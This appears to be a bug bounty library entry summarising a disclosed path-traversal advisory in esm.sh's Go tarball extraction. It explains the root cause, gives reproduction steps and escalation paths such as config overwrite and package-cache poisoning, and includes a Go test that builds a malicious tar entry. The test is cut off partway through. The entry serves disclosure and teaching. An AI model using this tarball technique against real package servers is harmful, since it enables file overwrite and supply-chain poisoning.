# esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages

esm.sh's extractPackageTarball uses path.Clean which doesn't block absolute paths in tar entries, letting malicious packages write files outside the install dir.

- Payout: Research
- Severity: high
- Program: esm.sh
- Found by: kelbyludwig
- Disclosed: 2026-01-20
- CVE: CVE-2026-23644
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2657-3c98-63jq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2657-3c98-63jq
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** Go tarball extraction function extractPackageTarball in esm.sh server
**Root cause:** The prior fix relied on path.Clean, which normalizes paths but does not reject absolute paths; a tar entry named `/../../../bad/bad.txt` still resolves outside the install directory.
**Steps:**
1. Build a gzip+tar archive containing a normal entry `package/index.js` and a malicious entry named `/../../../bad/bad.txt` with TypeReg.
2. Call `extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes()))` with the crafted archive.
3. Observe the malicious file is written outside installDir despite the path.Clean-based check.
**How found:** Reporter reviewed the fix commit and recognized path.Clean only normalizes paths rather than preventing absolute paths, then wrote a Go test with a tar header named `/../../../bad/bad.txt` to confirm.
**Exploitation:** A malicious npm package published to esm.sh carries a tar entry with an absolute/traversal path; when esm.sh extracts it, the file is written outside the install directory, allowing overwrite of the esm.sh config file and poisoning of cached packages. Escalation to RCE is limited by an extension allowlist, non-root execution, and writable paths restricted mostly to /tmp and home.
**Escalation:** Overwriting the esm.sh configuration file and poisoning cached packages; RCE possible in principle via cron-style writes but constrained by extension allowlist and non-root Docker deployment.
**Insight:** When auditing a path-traversal fix, check whether it only normalizes (path.Clean) rather than rejecting absolute paths or joining against a root; tar entry names beginning with `/` bypass naive Clean-based containment checks.

## Proof of concept (copied exactly from the original report)

**Go test building malicious tarball with traversal path**

```
// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
	// Create a temporary directory for testing
	installDir := "./testdata/good"

	// Create a malicious tarball with path traversal
	var buf bytes.Buffer
	gw := gzip.NewWriter(&buf)
	tw := tar.NewWriter(gw)

	// Add a normal file
	content := []byte("export const foo = 'bar';")
	header := &tar.Header{
		Name:     "package/index.js",
		Mode:     0644,
		Size:     int64(len(content)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(content); err != nil {
		t.Fatal(err)
	}

	// Add a malicious file with path traversal
	bad := []byte("bad")
	header = &tar.Header{
		Name:     "/../../../bad/bad.txt",
		Mode:     0644,
		Size:     int64(len(bad)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(bad); err != nil {
		t.Fatal(err)
	}

	tw.Close()
	gw.Close()

	// Call extractPackageTarball with the malicious tarball
	if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
```

